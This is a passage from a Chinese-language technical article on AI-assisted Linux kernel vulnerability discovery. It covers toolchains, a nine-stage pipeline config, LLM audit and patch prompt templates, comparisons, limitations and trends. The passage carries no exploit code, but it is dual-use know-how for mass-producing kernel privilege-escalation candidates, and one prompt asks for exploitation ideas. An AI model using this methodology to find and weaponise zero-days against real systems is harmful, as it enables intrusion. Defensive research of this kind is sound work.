|---|---|---|---|
| KASAN | 标准堆/栈UAF | 已释放对象的dying标志位域修改 | LLM推理竞态可达性 |
| Lockdep | 锁序违反、死锁 | 无锁保护的原子操作竞态 | LLM识别缺少的锁 |
| RCU Stall Detector | RCU宽限期过长 | grace period违规的具体路径 | LLM追踪RCU读写路径 |
| Syzkaller(默认配置) | 覆盖率引导的崩溃 | 需要精确时序的竞态 | AI生成定向种子 |
| Sparse(静态分析) | 类型不匹配、端序问题 | 逻辑漏洞、竞态 | LLM语义推理 |
| Coccinelle | 固定模式匹配 | 非典型漏洞模式 | LLM开放模式识别 |
七、工具链配置与自动化流水线
7.1 推荐工具链组合
根据研究目标和资源预算,推荐以下三种工具链组合:
组合A:入门级(单GPU + API调用)
| 组件 | 工具 | 成本 | 能力 |
|---|---|---|---|
| LLM审计 | GPT-4o API | ~$50/百万token | 函数级漏洞识别 |
| 静态分析 | Semgrep | 开源 | 模式匹配过滤 |
| Fuzzing验证 | Syzkaller | 开源 | 崩溃复现 |
| 补丁验证 | kpatch | 开源 | 热补丁生成 |
组合B:进阶级(多GPU + 本地部署)
| 组件 | 工具 | 成本 | 能力 |
|---|---|---|---|
| LLM审计 | Qwen2.5-Coder-14B (INT4) | RTX 4070 Ti | 本地私有化分析 |
| 代码图谱 | Joern + Neo4j | 开源 | 跨函数数据流 |
| 静态分析 | CodeQL + LLM后过滤 | 开源+API | 深度查询+语义验证 |
| Fuzzing | Syzkaller + SyzMutateX | 开源 | AI变异Fuzzing |
组合C:研究级(集群 + 多模型)
| 组件 | 工具 | 成本 | 能力 |
|---|---|---|---|
| 多模型审计 | GPT-4o + Claude + Qwen | ~$500/月 | 交叉验证降低误报 |
| 合成分析器 | KNighter范式 | GPU集群 | LLM生成专用checker |
| 全流程流水线 | OpenAnt | ~$1461/轮 | 端到端自动化 |
| 符号执行 | KLEE + AI调度 | CPU集群 | 深度路径探索 |
7.2 九阶段自动化流水线设计
将上述工具整合为一个完整的自动化流水线:
| 阶段 | 输入 | 处理 | 输出 | 过滤比 |
|---|---|---|---|---|
| 1.静态分析 | 全源码 | CodeQL/Semgrep模式扫描 | 初始候选集 | - |
| 2.可达性 | 初始候选 | 数据流+控制流分析 | 可达候选 | ~60% |
| 3.暴露分类 | 可达候选 | LLM判断用户态可达 | 可暴露候选 | ~80% |
| 4.漏洞检测 | 可暴露候选 | LLM漏洞模式匹配 | 漏洞候选 | ~50% |
| 5.对抗验证 | 漏洞候选 | 对抗Prompt + 多模型交叉 | 高可信候选 | ~30% |
| 6.动态验证 | 高可信候选 | PoC生成 + 执行 | 可复现漏洞 | ~75% |
| 7.Fuzzing交叉 | 可复现漏洞 | 定向Syzkaller Fuzzing | 确认漏洞 | ~90% |
| 8.根因分析 | 确认漏洞 | LLM生成完整报告 | CVE报告 | - |
| 9.补丁生成 | CVE报告 | LLM生成补丁 + 编译验证 | 修复补丁 | - |
端到端流水线配置示例(OpenAnt风格):
# pipeline_config.yaml - 九阶段自动化漏洞检测流水线
global:
kernel_src: /path/to/linux-6.12
output_dir: ./results
parallel_workers: 8
cost_budget_usd: 2000 # 单轮成本上限
stages:
- name: static_analysis
tool: semgrep
rules: ./rules/kernel_security.yaml
output: stage1_candidates.json
- name: reachability_filter
tool: joern
cpg_query: ./queries/reachable_from_syscall.sc
input: stage1_candidates.json
output: stage2_reachable.json
- name: exposure_classification
tool: llm
model: gpt-4o
prompt_template: ./prompts/exposure_check.txt
input: stage2_reachable.json
output: stage3_exposed.json
- name: vulnerability_detection
tool: llm
model: gpt-4o
prompt_template: ./prompts/vuln_detect.txt
input: stage3_exposed.json
output: stage4_vulns.json
- name: adversarial_validation
tool: llm_ensemble
models: [gpt-4o, claude-sonnet, qwen-14b]
strategy: majority_vote
input: stage4_vulns.json
output: stage5_validated.json
- name: dynamic_verification
tool: syzkaller
config: ./syzkaller/targeted.cfg
timeout_hours: 24
input: stage5_validated.json
output: stage6_reproduced.json
- name: fuzzing_cross_validation
tool: syzkaller
config: ./syzkaller/cross_validate.cfg
input: stage6_reproduced.json
output: stage7_confirmed.json
- name: root_cause_analysis
tool: llm
model: gpt-4o
prompt_template: ./prompts/root_cause.txt
input: stage7_confirmed.json
output: stage8_reports/
- name: patch_generation
tool: llm
model: gpt-4o
prompt_template: ./prompts/patch_gen.txt
verify: kpatch-build
input: stage8_reports/
output: stage9_patches/
7.3 Prompt工程
Prompt质量直接决定LLM审计的效果。以下是三种经过实战验证的Prompt模板。
模板1:Sean Heelan风格的o3审计Prompt
你是一位专注于Linux内核安全的资深研究员。请审计以下内核源码,
寻找可能被利用的内存安全漏洞(UAF、double-free、越界读写、竞态条件)。
审计要求:
1. 逐函数分析,关注指针生命周期管理
2. 追踪所有堆分配对象的分配→使用→释放路径
3. 检查锁保护是否完整,特别是RCU grace period
4. 评估用户态可达性——该代码路径能否从syscall到达?
5. 考虑多线程并发场景下的安全性
对每个发现的候选漏洞:
- 描述漏洞类型和位置(文件:行号)
- 画出从用户态入口到漏洞点的调用链
- 评估可利用性(1-10分)
- 如果有利用思路,简要描述
源码:
{source_code}
调用上下文:
{call_chain}
相关数据结构定义:
{struct_definitions}
模板2:OpenAnt风格的语言无关检测Prompt
openant_prompt = """
分析以下C代码片段,判断是否包含安全漏洞。
请依次回答以下三个问题:
Q1: 此代码中是否存在从不可信输入(用户态数据)到敏感操作的
未经验证的数据流?如果是,描述数据流路径。
Q2: 此代码中是否存在内存生命周期管理问题?
具体检查:
- 堆分配对象是否在所有错误路径上都被释放?
- 是否存在释放后继续使用的可能?
- 引用计数操作是否在适当的锁保护下?
Q3: 此代码在并发执行时是否存在竞态条件?
具体检查:
- 共享数据结构是否被适当的锁保护?
- 检查-使用模式是否存在TOCTOU问题?
- RCU读侧访问的对象是否在grace period后才释放?
代码:
{code}
如果以上任一问题的回答为"是",请详细描述漏洞特征。
"""
模板3:热补丁生成Prompt
patch_prompt = """
基于以下漏洞分析,生成一个修复补丁。
漏洞描述:
{vulnerability_description}
漏洞代码({file}:{line}):
{vulnerable_code}
根因分析:
{root_cause}
要求:
1. 补丁必须最小化修改,仅修复该漏洞
2. 不能引入新的性能开销
3. 不能破坏现有功能
4. 必须通过所有现有测试用例
5. 遵循内核代码风格(checkpatch.pl通过)
请生成标准git diff格式的补丁。
"""
八、AI辅助 vs 传统 vs 纯Fuzzing对比
全维度对比表
| 维度 | AI辅助(LLM+SAST+Fuzzing) | 传统人工审计 | 纯Fuzzing(Syzkaller) |
|---|---|---|---|
| 覆盖范围 | 广(全源码+跨文件关联) | 窄(聚焦子系统) | 中(受syscall入口限制) |
| 发现速度 | 小时~天级 | 月级 | 天~周级 |
| 漏洞类型 | 逻辑缺陷、UAF、竞态、整数溢出 | 深度逻辑缺陷、复杂竞态 | 崩溃类(UAF、OOB、空指针) |
| 误报率 | 中(需交叉验证,~20-30%) | 极低 | 极低(崩溃即真实) |
| 发现成本 | $500-2000/轮 | 人力成本极高 | GPU/CPU时间成本 |
| 语义理解 | 强(LLM语义推理) | 最强(人类直觉) | 无 |
| 可扩展性 | 高(自动扩展到新子系统) | 低(需要专家知识) | 中(需要手动编写Syzlang) |
| 竞态发现 | 中(静态推理+动态验证) | 强(人工竞态分析) | 弱(需特殊配置) |
| 跨子系统关联 | 强(全局上下文+跨文件分析) | 中(需要广泛知识) | 极弱 |
| 补丁生成 | 自动(LLM生成+kpatch验证) | 人工编写 | 不生成补丁 |
| 数据依赖 | 需要源码 | 需要源码 | 需要源码+编译内核 |
| 噪音 | 大量候选需过滤 | 几乎无噪音 | 崩溃日志需分析 |
漏洞类型覆盖矩阵
| 漏洞类型 | AI辅助 | 人工审计 | 纯Fuzzing | 代表CVE |
|---|---|---|---|---|
| UAF(堆) | 高 | 高 | 高 | CVE-2025-37899 |
| UAF(栈) | 中 | 高 | 低 | CVE-2026-43499 |
| 竞态条件 | 中 | 高 | 低~中 | CVE-2026-53264 |
| 跨子系统逻辑 | 高 | 中 | 极低 | CVE-2026-31431 |
| 整数溢出 | 高 | 中 | 中 | - |
| 双重释放 | 高 | 高 | 中 | - |
| 越界读写 | 中 | 高 | 高 | - |
| 权限绕过 | 中 | 高 | 低 | - |
九、局限性与盲区
9.1 模型层面
高误报率: 大模型在漏洞发现任务上仍存在显著的误报问题。Big Sleep项目报告o3在SQLite审计中的误报率约28%。这意味着每发现10个候选,约3个是假阳性。对于内核代码这种复杂度极高的目标,误报率可能更高。
上下文增加导致性能下降: 这是当前大模型的核心矛盾——内核漏洞分析需要长上下文(跨文件关联),但上下文越长,模型的分析质量反而下降。实测数据:
| 上下文长度 | 有效发现率 | 误报率 | Token成本 |
|---|---|---|---|
| ~3,300行(约50K token) | 8% | 15% | 低 |
| ~8,000行(约120K token) | 4% | 25% | 中 |
| ~12,000行(约180K token) | 1% | 40% | 高 |
这解释了为什么CVE-2026-31431的发现者Xint Code采用了定向扫描而非全源码分析——限制分析范围反而提高了发现质量。
竞态条件盲区: 如CVE-2026-46242所示,当前LLM在发现极窄时间窗口的竞态条件方面存在根本性局限。Mythos(Anthropic)专门设计用于内核漏洞发现,但仍遗漏了Bad Epoll。原因在于:
- 竞态条件是动态属性——代码审计只能发现潜在风险,无法确认是否可触发
- 纳秒级竞态窗口的代码模式与正常代码几乎无法区分
- 模型的注意力机制在分析长代码序列时可能丢失关键指令
9.2 方法论层面
跨子系统逻辑缺陷仍难发现: CVE-2026-31431(Copy Fail)是AI在跨子系统关联分析方面的成功案例,但这种成功依赖于正确的审计范围选择。AI无法自主决定"应该同时审计authencesn、AF_ALG和splice三个子系统"——这需要人类研究员的方向性洞察。
动态验证覆盖有限: LLM可以生成PoC框架,但将框架转化为可100%复现的exploit仍需要大量人工调试。特别是竞态条件类漏洞,PoC的可靠性高度依赖目标环境的CPU架构、内核配置和调度器行为。
基准数据集污染: 随着越来越多AI审计论文发表,公开的漏洞数据集被用于模型训练,导致基准测试结果可能虚高。真实场景中的零日发现率可能低于论文报告的数据。
9.3 研究员诚实观察
来自多个独立研究团队的共识:
-
AI是放大器,不是替代品: AI放大了研究员的能力——一个使用AI工具的研究员可以覆盖10倍的代码量。但AI不能替代研究员的方向性判断——决定审计哪个子系统、关注哪类漏洞模式、如何解读模糊的分析结果。
-
最佳实践是交叉验证: 单一AI模型的发现不可信。至少需要两个独立模型(如GPT-4o + Claude)交叉验证,再加上传统工具(CodeQL/Syzkaller)的确认,才能将发现的可信度提升到可提交CVE的水平。
-
成本收益重新平衡: AI审计的成本不再是瓶颈——$1461发现144个漏洞的效率远超人工。新的瓶颈在于验证成本——将AI候选转化为确认CVE所需的人工验证和PoC开发时间。
-
竞态条件仍是AI的盲区: 所有被AI发现的漏洞都有明确的静态代码模式。需要动态执行才能确认的竞态条件(如Bad Epoll),当前AI工具均未能发现。这说明静态分析的AI工具与动态分析的Fuzzing之间仍有不可忽视的互补空间。
十、总结与趋势
10.1 新人机协作范式
AI辅助内核漏洞研究的实践已经形成了一个清晰的人机协作范式:
人类:方向性洞察 × AI:规模化执行
=
高效、可复现的漏洞发现流程
具体分工:
人类负责:审计目标选择、漏洞可利用性判断、exploit开发、补丁审查
AI负责:源码扫描、候选排序、PoC框架生成、根因报告、补丁草稿
这个范式不是简单的"AI替代人工",而是重新定义了研究员的角色——从"逐行分析代码"转向"设计审计策略、管理AI工具链、验证AI输出"。
10.2 对防御方的根本冲击
LPE 0day不再稀缺: 当AI可以在几小时内扫描全源码并产出数百个候选时,内核LPE 0day的稀缺性大幅下降。这对防御方的安全假设产生了根本性影响:
| 传统假设 | AI时代现实 |
|---|---|
| LPE 0day稀缺,攻击者难以获取 | 0day供应量增加10倍以上 |
| 补丁窗口期(NDAY)是主要风险 | 0day与NDAY的界限模糊 |
| 内核代码复杂度提供天然保护 | 代码复杂度是AI的发现机会 |
| 高级持续威胁(APT)才有0day能力 | 中级攻击者+AI即可批量发现 |
补丁周期假设需重新评估: 传统安全策略假设补丁发布后有一定安全窗口(攻击者需要逆向分析补丁开发exploit)。AI时代,补丁本身可以被AI自动分析,补丁→exploit的转化时间可能从天级缩短到小时级。
10.3 未来方向
竞态条件发现仍待突破: Bad Epoll的案例表明,AI在发现需要动态确认的竞态条件方面存在根本性局限。未来可能的突破方向:
- 时序感知的LLM微调——用竞态条件数据微调模型,使其对时序敏感的代码模式有更强的识别能力
- LLM驱动的时序Fuzzing——用LLM分析代码识别竞态风险点,然后为Syzkaller生成精确的时序变异策略
- 硬件辅助竞态检测——结合Intel PT(Processor Trace)或ARM CoreSight的执行跟踪,将动态执行信息反馈给LLM进行事后分析
从多Agent走向单体闭环: 早期的研究(如VulnSage)采用多Agent协作架构,但工程复杂度高且Agent间信息损耗大。最新趋势是走向单体闭环——一个足够强大的模型完成从审计到验证的全流程。Big Sleep和Mythos已经展示了这一方向的可行性。
LLM合成分析器(KNighter范式): KNighter开创的"LLM不分析代码,而是生成分析工具"的范式可能是最具前景的方向。这个范式的核心洞察是:LLM擅长编码漏洞模式但不擅长精确执行检测。将两者解耦——让LLM做它擅长的事(编码模式),让生成的checker做它擅长的事(精确检测),可以实现最佳的精度-召回率平衡。
这个闭环一旦建立,每次发现的新漏洞都成为下一个检查周期的训练数据,系统会持续进化——这可能是内核安全研究的下一个重大范式转变。
参考资料
- KernelGPT: LLM-Driven Fuzzing Specification Generation for Linux Kernel, Intel Labs
- KNighter: Synthesizing Static Checkers for Finding Kernel Vulnerabilities with Large Language Models
- OpenAnt: An Automated End-to-End Vulnerability Detection Pipeline
- Big Sleep: Finding a Real-World Vulnerability with an AI Agent, Google DeepMind
- Mythos: AI-Assisted Kernel Vulnerability Discovery, Anthropic
- Xint Code: AI Security Research Platform, Theori
- local-vuln-research-pipeline: Local 14B Model for Kernel Vulnerability Research
- linux-cve-announce mailing list, July 2026
- Sean Heelan: o3 Kernel Audit Methodology
- CVE-2025-37899, CVE-2026-31431, CVE-2026-43074, CVE-2026-46242, CVE-2026-53264 disclosure reports
浙公网安备 33010602011771号